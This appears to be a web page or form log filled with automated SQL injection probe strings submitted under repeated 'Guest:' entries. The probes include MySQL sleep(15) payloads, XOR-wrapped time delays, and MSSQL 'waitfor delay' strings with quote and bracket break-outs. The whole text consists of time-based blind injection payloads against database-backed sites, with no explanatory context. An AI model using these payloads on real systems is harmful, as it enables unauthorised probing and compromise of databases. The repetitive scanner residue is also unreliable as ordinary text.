if(now()=sysdate(),sleep(15),0)

Guest:
555-1)); waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1)); waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555-1)); waitfor delay '0:0:15' -- 
-1; waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
-1); waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
-1 waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
STrx3qZq'; waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
OcM6WNzI'); waitfor delay '0:0:15' --

Guest:
555-1)); waitfor delay '0:0:15' -- 
fGzZdfsF')); waitfor delay '0:0:15' --